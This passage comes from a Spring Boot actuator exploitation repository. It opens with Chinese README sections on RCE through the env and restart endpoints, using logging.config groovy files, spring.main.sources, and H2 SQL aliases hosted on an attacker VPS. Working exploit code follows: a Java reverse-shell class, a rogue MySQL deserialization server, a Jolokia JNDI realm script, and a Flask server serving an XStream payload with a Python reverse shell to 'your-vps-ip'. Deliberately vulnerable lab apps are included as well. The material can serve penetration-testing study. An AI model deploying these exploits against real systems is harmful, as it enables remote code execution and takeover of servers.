[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258) 1616 | 1617 | https://landgrey.me/blog/21/ 1618 | 1619 | 1620 | 1621 | #### 漏洞环境: 1622 | 1623 | [repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce) 1624 | 1625 | 正常访问: 1626 | 1627 | ``` 1628 | http://127.0.0.1:9098/actuator/env 1629 | ``` 1630 | 1631 | 1632 | 1633 | ### 0x0A:restart logging.config groovy RCE 1634 | 1635 | #### 利用条件: 1636 | 1637 | - 可以 POST 请求目标网站的 `/env` 接口设置属性 1638 | - 可以 POST 请求目标网站的 `/restart` 接口重启应用 1639 | - ⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出 1640 | - ⚠️ HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出 1641 | - ⚠️ 环境中需要存在 groovy 依赖,否则会导致程序异常退出 1642 | 1643 | 1644 | 1645 | #### 利用方法: 1646 | 1647 | ##### 步骤一:托管 groovy 文件 1648 | 1649 | 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443) 1650 | 1651 | ```bash 1652 | # 使用 python 快速开启 http server 1653 | 1654 | python2 -m SimpleHTTPServer 80 1655 | python3 -m http.server 80 1656 | ``` 1657 | 1658 | 1659 | 1660 | 在根目录放置以 `groovy` 结尾的 `example.groovy` 文件,内容为需要执行的 groovy 代码,比如: 1661 | 1662 | ```xml 1663 | Runtime.getRuntime().exec("open -a Calculator") 1664 | 1665 | ``` 1666 | 1667 | 1668 | 1669 | ##### 步骤二:设置 logging.config 属性 1670 | 1671 | spring 1.x 1672 | 1673 | ``` 1674 | POST /env 1675 | Content-Type: application/x-www-form-urlencoded 1676 | 1677 | logging.config=http://your-vps-ip/example.groovy 1678 | ``` 1679 | 1680 | spring 2.x 1681 | 1682 | ``` 1683 | POST /actuator/env 1684 | Content-Type: application/json 1685 | 1686 | {"name":"logging.config","value":"http://your-vps-ip/example.groovy"} 1687 | ``` 1688 | 1689 | 1690 | 1691 | ##### 步骤三:重启应用 1692 | 1693 | spring 1.x 1694 | 1695 | ``` 1696 | POST /restart 1697 | Content-Type: application/x-www-form-urlencoded 1698 | 1699 | ``` 1700 | 1701 | spring 2.x 1702 | 1703 | ``` 1704 | POST /actuator/restart 1705 | Content-Type: application/json 1706 | 1707 | ``` 1708 | 1709 | 1710 | 1711 | #### 漏洞原理: 1712 | 1713 | 1. 目标机器通过 logging.config 属性设置 logback 日志配置文件 URL 地址 1714 | 2. restart 重启应用后,程序会请求设置的 URL 地址 1715 | 3. `logback-classic` 组件的 `ch.qos.logback.classic.util.ContextInitializer.java` 代码文件逻辑中会判断 url 是否以 `groovy` 结尾 1716 | 4. 如果 url 以 `groovy` 结尾,则最终会执行文件内容中的 groovy 代码,造成 RCE 漏洞 1717 | 1718 | 1719 | 1720 | #### 漏洞环境: 1721 | 1722 | [repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce) 1723 | 1724 | 正常访问: 1725 | 1726 | ``` 1727 | http://127.0.0.1:9098/actuator/env 1728 | ``` 1729 | 1730 | 1731 | 1732 | ### 0x0B:restart spring.main.sources groovy RCE 1733 | 1734 | #### 利用条件: 1735 | 1736 | - 可以 POST 请求目标网站的 `/env` 接口设置属性 1737 | - 可以 POST 请求目标网站的 `/restart` 接口重启应用 1738 | - ⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出 1739 | - ⚠️ HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出 1740 | - ⚠️ 环境中需要存在 groovy 依赖,否则会导致程序异常退出 1741 | 1742 | 1743 | 1744 | #### 利用方法: 1745 | 1746 | ##### 步骤一:托管 groovy 文件 1747 | 1748 | 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443) 1749 | 1750 | ```bash 1751 | # 使用 python 快速开启 http server 1752 | 1753 | python2 -m SimpleHTTPServer 80 1754 | python3 -m http.server 80 1755 | ``` 1756 | 1757 | 1758 | 1759 | 在根目录放置以 `groovy` 结尾的 `example.groovy` 文件,内容为需要执行的 groovy 代码,比如: 1760 | 1761 | ```xml 1762 | Runtime.getRuntime().exec("open -a Calculator") 1763 | 1764 | ``` 1765 | 1766 | 1767 | 1768 | ##### 步骤二:设置 spring.main.sources 属性 1769 | 1770 | spring 1.x 1771 | 1772 | ``` 1773 | POST /env 1774 | Content-Type: application/x-www-form-urlencoded 1775 | 1776 | spring.main.sources=http://your-vps-ip/example.groovy 1777 | ``` 1778 | 1779 | spring 2.x 1780 | 1781 | ``` 1782 | POST /actuator/env 1783 | Content-Type: application/json 1784 | 1785 | {"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"} 1786 | ``` 1787 | 1788 | 1789 | 1790 | ##### 步骤三:重启应用 1791 | 1792 | spring 1.x 1793 | 1794 | ``` 1795 | POST /restart 1796 | Content-Type: application/x-www-form-urlencoded 1797 | 1798 | ``` 1799 | 1800 | spring 2.x 1801 | 1802 | ``` 1803 | POST /actuator/restart 1804 | Content-Type: application/json 1805 | 1806 | ``` 1807 | 1808 | 1809 | 1810 | #### 漏洞原理: 1811 | 1812 | 1. 目标机器可以通过 spring.main.sources 属性来设置创建 ApplicationContext 的额外源的 URL 地址 1813 | 2. restart 重启应用后,程序会请求设置的 URL 地址 1814 | 3. `spring-boot` 组件中的 `org.springframework.boot.BeanDefinitionLoader.java` 文件代码逻辑中会判断 url 是否以 `.groovy` 结尾 1815 | 4. 如果 url 以 `.groovy` 结尾,则最终会执行文件内容中的 groovy 代码,造成 RCE 漏洞 1816 | 1817 | 1818 | 1819 | #### 漏洞环境: 1820 | 1821 | [repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce) 1822 | 1823 | 正常访问: 1824 | 1825 | ``` 1826 | http://127.0.0.1:9098/actuator/env 1827 | ``` 1828 | 1829 | 1830 | 1831 | ### 0x0C:restart spring.datasource.data h2 database RCE 1832 | 1833 | #### 利用条件: 1834 | 1835 | - 可以 POST 请求目标网站的 `/env` 接口设置属性 1836 | - 可以 POST 请求目标网站的 `/restart` 接口重启应用 1837 | - 环境中需要存在 `h2database`、`spring-boot-starter-data-jpa` 相关依赖 1838 | - ⚠️ 目标可以请求攻击者的 HTTP 服务器(请求可出外网),否则 restart 会导致程序异常退出 1839 | - ⚠️ HTTP 服务器如果返回含有畸形 h2 sql 语法内容的文件,会导致程序异常退出 1840 | 1841 | 1842 | 1843 | #### 利用方法: 1844 | 1845 | ##### 步骤一:托管 sql 文件 1846 | 1847 | 在自己控制的 vps 机器上开启一个简单 HTTP 服务器,端口尽量使用常见 HTTP 服务端口(80、443) 1848 | 1849 | ```bash 1850 | # 使用 python 快速开启 http server 1851 | 1852 | python2 -m SimpleHTTPServer 80 1853 | python3 -m http.server 80 1854 | ``` 1855 | 1856 | 1857 | 1858 | 在根目录放置以任意名字的文件,内容为需要执行的 h2 sql 代码,比如: 1859 | 1860 | > ⚠️ 下面payload 中的 'T5' 方法只能 restart 执行一次;后面 restart 需要更换新的方法名称 (如 T6) 和设置新的 sql URL 地址,然后才能被 restart 重新使用,否则第二次 restart 重启应用时会导致程序异常退出 1861 | 1862 | ```xml 1863 | CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator'); 1864 | ``` 1865 | 1866 | 1867 | 1868 | ##### 步骤二:设置 spring.datasource.data 属性 1869 | 1870 | spring 1.x 1871 | 1872 | ``` 1873 | POST /env 1874 | Content-Type: application/x-www-form-urlencoded 1875 | 1876 | spring.datasource.data=http://your-vps-ip/example.sql 1877 | ``` 1878 | 1879 | spring 2.x 1880 | 1881 | ``` 1882 | POST /actuator/env 1883 | Content-Type: application/json 1884 | 1885 | {"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"} 1886 | ``` 1887 | 1888 | 1889 | 1890 | ##### 步骤三:重启应用 1891 | 1892 | spring 1.x 1893 | 1894 | ``` 1895 | POST /restart 1896 | Content-Type: application/x-www-form-urlencoded 1897 | 1898 | ``` 1899 | 1900 | spring 2.x 1901 | 1902 | ``` 1903 | POST /actuator/restart 1904 | Content-Type: application/json 1905 | 1906 | ``` 1907 | 1908 | 1909 | 1910 | #### 漏洞原理: 1911 | 1912 | 1. 目标机器可以通过 spring.datasource.data 属性来设置 jdbc DML sql 文件的 URL 地址 1913 | 2. restart 重启应用后,程序会请求设置的 URL 地址 1914 | 3. `spring-boot-autoconfigure` 组件中的 `org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java` 文件代码逻辑中会使用 `runScripts` 方法执行请求 URL 内容中的 h2 database sql 代码,造成 RCE 漏洞 1915 | 1916 | 1917 | 1918 | #### 漏洞环境: 1919 | 1920 | [repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce) 1921 | 1922 | 正常访问: 1923 | 1924 | ``` 1925 | http://127.0.0.1:9098/actuator/env 1926 | ``` 1927 | 1928 | 1929 | -------------------------------------------------------------------------------- /codebase/JNDIObject.java: -------------------------------------------------------------------------------- 1 | /** 2 | * javac -source 1.5 -target 1.5 JNDIObject.java 3 | * 4 | * Build By LandGrey 5 | * */ 6 | 7 | import java.io.File; 8 | import java.io.InputStream; 9 | import java.io.OutputStream; 10 | import java.net.Socket; 11 | 12 | public class JNDIObject { 13 | static { 14 | try{ 15 | String ip = "your-vps-ip"; 16 | String port = "443"; 17 | String py_path = null; 18 | String[] cmd; 19 | if (!System.getProperty("os.name").toLowerCase().contains("windows")) { 20 | String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"}; 21 | for(int i = 0; i < py_envs.length; ++i) { 22 | String py = py_envs[i]; 23 | if ((new File(py)).exists()) { 24 | py_path = py; 25 | break; 26 | } 27 | } 28 | if (py_path != null) { 29 | if ((new File("/bin/bash")).exists()) { 30 | cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"}; 31 | } else { 32 | cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"}; 33 | } 34 | } else { 35 | if ((new File("/bin/bash")).exists()) { 36 | cmd = new String[]{"/bin/bash"}; 37 | } else { 38 | cmd = new String[]{"/bin/sh"}; 39 | } 40 | } 41 | } else { 42 | cmd = new String[]{"cmd.exe"}; 43 | } 44 | Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start(); 45 | Socket s = new Socket(ip, Integer.parseInt(port)); 46 | InputStream pi = p.getInputStream(); 47 | InputStream pe = p.getErrorStream(); 48 | InputStream si = s.getInputStream(); 49 | OutputStream po = p.getOutputStream(); 50 | OutputStream so = s.getOutputStream(); 51 | while(!s.isClosed()) { 52 | while(pi.available() > 0) { 53 | so.write(pi.read()); 54 | } 55 | while(pe.available() > 0) { 56 | so.write(pe.read()); 57 | } 58 | while(si.available() > 0) { 59 | po.write(si.read()); 60 | } 61 | so.flush(); 62 | po.flush(); 63 | Thread.sleep(50L); 64 | try { 65 | p.exitValue(); 66 | break; 67 | } catch (Exception e) { 68 | } 69 | } 70 | p.destroy(); 71 | s.close(); 72 | }catch (Throwable e){ 73 | e.printStackTrace(); 74 | } 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /codebase/springboot-jdbc-deserialization-rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding: utf-8 3 | # -**- Author: LandGrey -**- 4 | 5 | import os 6 | import socket 7 | import binascii 8 | 9 | 10 | def server_send(conn, payload): 11 | global count 12 | count += 1 13 | print("[*] Package order: {}, Send: {}".format(count, payload)) 14 | conn.send(binascii.a2b_hex(payload)) 15 | 16 | 17 | def server_receive(conn): 18 | global count, BUFFER_SIZE 19 | 20 | count += 1 21 | data = conn.recv(BUFFER_SIZE) 22 | print("[*] Package order: {}, Receive: {}".format(count, data)) 23 | return str(data).lower() 24 | 25 | 26 | def run_mysql_server(): 27 | global count, deserialization_payload 28 | 29 | while True: 30 | count = 0 31 | conn, addr = server_socks.accept() 32 | print("[+] Connection from client -> {}:{}".format(addr[0], addr[1])) 33 | greeting = '4a0000000a352e372e323900160000006c7a5d420d107a7700ffff080200ffc11500000000000000000000566d1a0a796d3e1338313747006d7973716c5f6e61746976655f70617373776f726400' 34 | server_send(conn, greeting) 35 | if os.path.isfile(deserialization_file): 36 | with open(deserialization_file, 'rb') as _f: 37 | deserialization_payload = binascii.b2a_hex(_f.read()) 38 | while True: 39 | # client auth 40 | server_receive(conn) 41 | server_send(conn, response_ok) 42 | 43 | # client query 44 | data = server_receive(conn) 45 | if "session.auto_increment_increment" in data: 46 | _payload = '01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c210009000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f90000150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013007343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e035554430653595354454d0f52455045415441424c452d5245414405323838303007000016fe000002000200' 47 | server_send(conn, _payload) 48 | data = server_receive(conn) 49 | if "show warnings" in data: 50 | _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000' 51 | server_send(conn, _payload) 52 | data = server_receive(conn) 53 | if "set names" in data: 54 | server_send(conn, response_ok) 55 | data = server_receive(conn) 56 | if "set character_set_results" in data: 57 | server_send(conn, response_ok) 58 | data = server_receive(conn) 59 | if "show session status" in data: 60 | _data = '0100000102' 61 | _data += '2700000203646566056365736869046f626a73046f626a730269640269640c3f000b000000030000000000' 62 | _data += '2900000303646566056365736869046f626a73046f626a73036f626a036f626a0c3f00ffff0000fc9000000000' 63 | _payload_hex = str(hex(len(deserialization_payload)/2)).replace('0x', '').zfill(4) 64 | _payload_length = _payload_hex[2:4] + _payload_hex[0:2] 65 | _data_hex = str(hex(len(deserialization_payload)/2 + 5)).replace('0x', '').zfill(6) 66 | _data_lenght = _data_hex[4:6] + _data_hex[2:4] + _data_hex[0:2] 67 | _data += _data_lenght + '04' + '0131fc' + _payload_length + deserialization_payload 68 | _data += '07000005fe000022000100' 69 | server_send(conn, _data) 70 | data = server_receive(conn) 71 | if "show warnings" in data: 72 | _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000' 73 | server_send(conn, _payload) 74 | 75 | break 76 | try: 77 | conn.close() 78 | except Exception as e: 79 | pass 80 | 81 | 82 | if __name__ == "__main__": 83 | HOST = "0.0.0.0" 84 | PORT = 3306 85 | 86 | deserialization_file = r'payload.ser' 87 | if os.path.isfile(deserialization_file): 88 | with open(deserialization_file, 'rb') as f: 89 | deserialization_payload = binascii.b2a_hex(f.read()) 90 | else: 91 | deserialization_payload = 'aced****(your deserialized hex data)' 92 | 93 | count = 0 94 | BUFFER_SIZE = 1024 95 | response_ok = '0700000200000002000000' 96 | print("[+] rogue mysql server Listening on {}:{}".format(HOST, PORT)) 97 | server_socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 98 | server_socks.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 99 | server_socks.bind((HOST, PORT)) 100 | server_socks.listen(1) 101 | 102 | run_mysql_server() 103 | -------------------------------------------------------------------------------- /codebase/springboot-realm-jndi-rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding: utf-8 3 | # Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt 4 | 5 | 6 | import requests 7 | 8 | 9 | url = 'http://127.0.0.1:8080/jolokia' 10 | 11 | 12 | create_realm = { 13 | "mbean": "Tomcat:type=MBeanFactory", 14 | "type": "EXEC", 15 | "operation": "createJNDIRealm", 16 | "arguments": ["Tomcat:type=Engine"] 17 | } 18 | 19 | wirte_factory = { 20 | "mbean": "Tomcat:realmPath=/realm0,type=Realm", 21 | "type": "WRITE", 22 | "attribute": "contextFactory", 23 | "value": "com.sun.jndi.rmi.registry.RegistryContextFactory" 24 | } 25 | 26 | write_url = { 27 | "mbean": "Tomcat:realmPath=/realm0,type=Realm", 28 | "type": "WRITE", 29 | "attribute": "connectionURL", 30 | "value": "rmi://your-vps-ip:1389/JNDIObject" 31 | } 32 | 33 | stop = { 34 | "mbean": "Tomcat:realmPath=/realm0,type=Realm", 35 | "type": "EXEC", 36 | "operation": "stop", 37 | "arguments": [] 38 | } 39 | 40 | start = { 41 | "mbean": "Tomcat:realmPath=/realm0,type=Realm", 42 | "type": "EXEC", 43 | "operation": "start", 44 | "arguments": [] 45 | } 46 | 47 | flow = [create_realm, wirte_factory, write_url, stop, start] 48 | 49 | for i in flow: 50 | print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute')))) 51 | r = requests.post(url, json=i) 52 | r.json() 53 | print(r.status_code) 54 | -------------------------------------------------------------------------------- /codebase/springboot-xstream-rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding: utf-8 3 | # -**- Author: LandGrey -**- 4 | 5 | from flask import Flask, Response 6 | 7 | app = Flask(__name__) 8 | 9 | 10 | @app.route('/', defaults={'path': ''}) 11 | @app.route('/<path:path>', methods=['GET', 'POST']) 12 | def catch_all(path): 13 | xml = """<linked-hash-set> 14 | <jdk.nashorn.internal.objects.NativeString> 15 | <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> 16 | <dataHandler> 17 | <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> 18 | <is class="javax.crypto.CipherInputStream"> 19 | <cipher class="javax.crypto.NullCipher"> 20 | <serviceIterator class="javax.imageio.spi.FilterIterator"> 21 | <iter class="javax.imageio.spi.FilterIterator"> 22 | <iter class="java.util.Collections$EmptyIterator"/> 23 | <next class="java.lang.ProcessBuilder"> 24 | <command> 25 | <string>/bin/bash</string> 26 | <string>-c</string> 27 | <string>python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-vps-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'</string> 28 | </command> 29 | <redirectErrorStream>false</redirectErrorStream> 30 | </next> 31 | </iter> 32 | <filter class="javax.imageio.ImageIO$ContainsFilter"> 33 | <method> 34 | <class>java.lang.ProcessBuilder</class> 35 | <name>start</name> 36 | <parameter-types/> 37 | </method> 38 | <name>foo</name> 39 | </filter> 40 | <next class="string">foo</next> 41 | </serviceIterator> 42 | <lock/> 43 | </cipher> 44 | <input class="java.lang.ProcessBuilder$NullInputStream"/> 45 | <ibuffer></ibuffer> 46 | </is> 47 | </dataSource> 48 | </dataHandler> 49 | </value> 50 | </jdk.nashorn.internal.objects.NativeString> 51 | </linked-hash-set>""" 52 | return Response(xml, mimetype='application/xml') 53 | 54 | 55 | if __name__ == "__main__": 56 | app.run(host='0.0.0.0', port=80) 57 | -------------------------------------------------------------------------------- /repository/springboot-eureka-xstream-rce/pom.xml: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="UTF-8"?> 2 | <project xmlns="http://maven.apache.org/POM/4.0.0" 3 | xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 4 | xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 5 | <modelVersion>4.0.0</modelVersion> 6 | 7 | <groupId>org.example</groupId> 8 | <artifactId>springboot-eureka-xstream-rce</artifactId> 9 | <version>1.0-SNAPSHOT</version> 10 | 11 | <properties> 12 | <java.version>1.8</java.version> 13 | <springboot.version>1.4.7.RELEASE</springboot.version> 14 | <netflix.eureka.version>1.4.0.RELEASE</netflix.eureka.version> 15 | 16 | <spring-cloud-commons.version>1.1.3.RELEASE</spring-cloud-commons.version> 17 | <spring-cloud-netflix.version>1.2.0.RELEASE</spring-cloud-netflix.version> 18 | </properties> 19 | 20 | <dependencies> 21 | <dependency> 22 | <groupId>org.springframework.boot</groupId> 23 | <artifactId>spring-boot-starter-web</artifactId> 24 | <version>${springboot.version}</version> 25 | </dependency> 26 | 27 | <dependency> 28 | <groupId>org.springframework.boot</groupId> 29 | <artifactId>spring-boot-starter-actuator</artifactId> 30 | <version>${springboot.version}</version> 31 | </dependency> 32 | 33 | <dependency> 34 | <groupId>org.springframework.cloud</groupId> 35 | <artifactId>spring-cloud-starter-netflix-eureka-client</artifactId> 36 | <version>${netflix.eureka.version}</version> 37 | </dependency> 38 | 39 | </dependencies> 40 | 41 | <dependencyManagement> 42 | <dependencies> 43 | <!-- import dependency way 1--> 44 | <dependency> 45 | <groupId>org.springframework.cloud</groupId> 46 | <artifactId>spring-cloud-commons-dependencies</artifactId> 47 | <version>${spring-cloud-commons.version}</version> 48 | <type>pom</type> 49 | <scope>import</scope> 50 | </dependency> 51 | 52 | <dependency> 53 | <groupId>org.springframework.cloud</groupId> 54 | <artifactId>spring-cloud-netflix-dependencies</artifactId> 55 | <version>${spring-cloud-netflix.version}</version> 56 | <type>pom</type> 57 | <scope>import</scope> 58 | </dependency> 59 | 60 | <!-- import dependency way 2 --> 61 | <!-- <dependency>--> 62 | <!-- <groupId>org.springframework.cloud</groupId>--> 63 | <!-- <artifactId>spring-cloud-dependencies</artifactId>--> 64 | <!-- <version>Camden.RELEASE</version>--> 65 | <!-- <type>pom</type>--> 66 | <!-- <scope>import</scope>--> 67 | <!-- </dependency>--> 68 | </dependencies> 69 | </dependencyManagement> 70 | 71 | <build> 72 | <plugins> 73 | <plugin> 74 | <groupId>org.springframework.boot</groupId> 75 | <artifactId>spring-boot-maven-plugin</artifactId> 76 | <version>${springboot.version}</version> 77 | </plugin> 78 | </plugins> 79 | </build> 80 | 81 | </project> -------------------------------------------------------------------------------- /repository/springboot-eureka-xstream-rce/springboot-eureka-xstream-rce.iml: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="UTF-8"?> 2 | <module type="JAVA_MODULE" version="4" /> -------------------------------------------------------------------------------- /repository/springboot-eureka-xstream-rce/src/main/java/code/landgrey/Application.java: -------------------------------------------------------------------------------- 1 | package code.landgrey; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | import org.springframework.cloud.netflix.eureka.EnableEurekaClient; 6 | 7 | @SpringBootApplication 8 | @EnableEurekaClient 9 | public class Application { 10 | public static void main(String[] args){ 11 | SpringApplication.run(Application.class,args); 12 | } 13 | } -------------------------------------------------------------------------------- /repository/springboot-eureka-xstream-rce/src/main/java/code/landgrey/controller/Article.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.controller; 2 | 3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | import org.springframework.web.bind.annotation.RestController; 6 | 7 | @RestController 8 | @EnableAutoConfiguration 9 | public class Article { 10 | @RequestMapping("/article") 11 | public String hello(String id){ 12 | int total = 100; 13 | String message = String.format("You've read %s books, and there are %d left", id, total - Integer.valueOf(id)); 14 | return message; 15 | } 16 | } -------------------------------------------------------------------------------- /repository/springboot-eureka-xstream-rce/src/main/resources/application.properties: -------------------------------------------------------------------------------- 1 | server.port=9093 2 | server.address=127.0.0.1 3 | 4 | # vulnerable configuration set 0: spring boot 1.0 - 1.4 5 | # all spring boot versions 1.0 - 1.4 expose actuators by default without any parameters 6 | # no configuration required to expose them 7 | 8 | # safe configuration set 0: spring boot 1.0 - 1.4 9 | #management.security.enabled=true 10 | 11 | # vulnerable configuration set 1: spring boot 1.5+ 12 | # spring boot 1.5+ requires management.security.enabled=false to expose sensitive actuators 13 | #management.security.enabled=false 14 | 15 | # safe configuration set 1: spring boot 1.5+ 16 | # when 'management.security.enabled=false' but all sensitive actuators explicitly disabled 17 | #management.security.enabled=false 18 | 19 | # vulnerable configuration set 2: spring boot 2+ 20 | #management.endpoints.web.exposure.include=* 21 | #management.endpoint.env.post.enabled=true 22 | -------------------------------------------------------------------------------- /repository/springboot-h2-database-rce/pom.xml: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="UTF-8"?> 2 | <project xmlns="http://maven.apache.org/POM/4.0.0" 3 | xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 4 | xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 5 | <modelVersion>4.0.0</modelVersion> 6 | 7 | <groupId>org.example</groupId> 8 | <artifactId>springboot-h2-database-rce</artifactId> 9 | <version>1.0-SNAPSHOT</version> 10 | <parent> 11 | <groupId>org.springframework.boot</groupId> 12 | <artifactId>spring-boot-starter-parent</artifactId> 13 | <version>2.2.1.RELEASE</version> 14 | </parent> 15 | 16 | <properties> 17 | <java.version>1.8</java.version> 18 | </properties> 19 | 20 | <dependencies> 21 | <dependency> 22 | <groupId>org.springframework.boot</groupId> 23 | <artifactId>spring-boot-starter-web</artifactId> 24 | </dependency> 25 | 26 | <dependency> 27 | <groupId>org.springframework.boot</groupId> 28 | <artifactId>spring-boot-starter-actuator</artifactId> 29 | </dependency> 30 | 31 | <dependency> 32 | <groupId>org.springframework.cloud</groupId> 33 | <artifactId>spring-cloud-starter-config</artifactId> 34 | </dependency> 35 | 36 | <dependency> 37 | <groupId>org.springframework.boot</groupId> 38 | <artifactId>spring-boot-starter-data-jpa</artifactId> 39 | </dependency> 40 | 41 | <dependency> 42 | <groupId>com.h2database</groupId> 43 | <artifactId>h2</artifactId> 44 | </dependency> 45 | 46 | </dependencies> 47 | 48 | <dependencyManagement> 49 | <dependencies> 50 | <dependency> 51 | <groupId>org.springframework.cloud</groupId> 52 | <artifactId>spring-cloud-dependencies</artifactId> 53 | <version>Hoxton.SR1</version> 54 | <type>pom</type> 55 | <scope>import</scope> 56 | </dependency> 57 | </dependencies> 58 | </dependencyManagement> 59 | 60 | <build> 61 | <plugins> 62 | <plugin> 63 | <groupId>org.springframework.boot</groupId> 64 | <artifactId>spring-boot-maven-plugin</artifactId> 65 | </plugin> 66 | </plugins> 67 | </build> 68 | 69 | </project> -------------------------------------------------------------------------------- /repository/springboot-h2-database-rce/springboot-h2-database-rce.iml: -------------------------------------------------------------------------------- 1 | <?xml version="1.0" encoding="UTF-8"?> 2 | <module type="JAVA_MODULE" version="4" /> -------------------------------------------------------------------------------- /repository/springboot-h2-database-rce/src/main/java/code/landgrey/Application.java: -------------------------------------------------------------------------------- 1 | package code.landgrey; 2 | 3 | import org.springframework.boot.SpringApplication; 4 | import org.springframework.boot.autoconfigure.SpringBootApplication; 5 | 6 | @SpringBootApplication 7 | public class Application { 8 | public static void main(String[] args){ 9 | SpringApplication.run(Application.class,args); 10 | } 11 | } -------------------------------------------------------------------------------- /repository/springboot-h2-database-rce/src/main/java/code/landgrey/controller/Article.java: -------------------------------------------------------------------------------- 1 | package code.landgrey.controller; 2 | 3 | import org.springframework.boot.autoconfigure.EnableAutoConfiguration; 4 | import org.springframework.web.bind.annotation.RequestMapping; 5 | import org.springframework.web.bind.annotation.RestController; 6 | 7 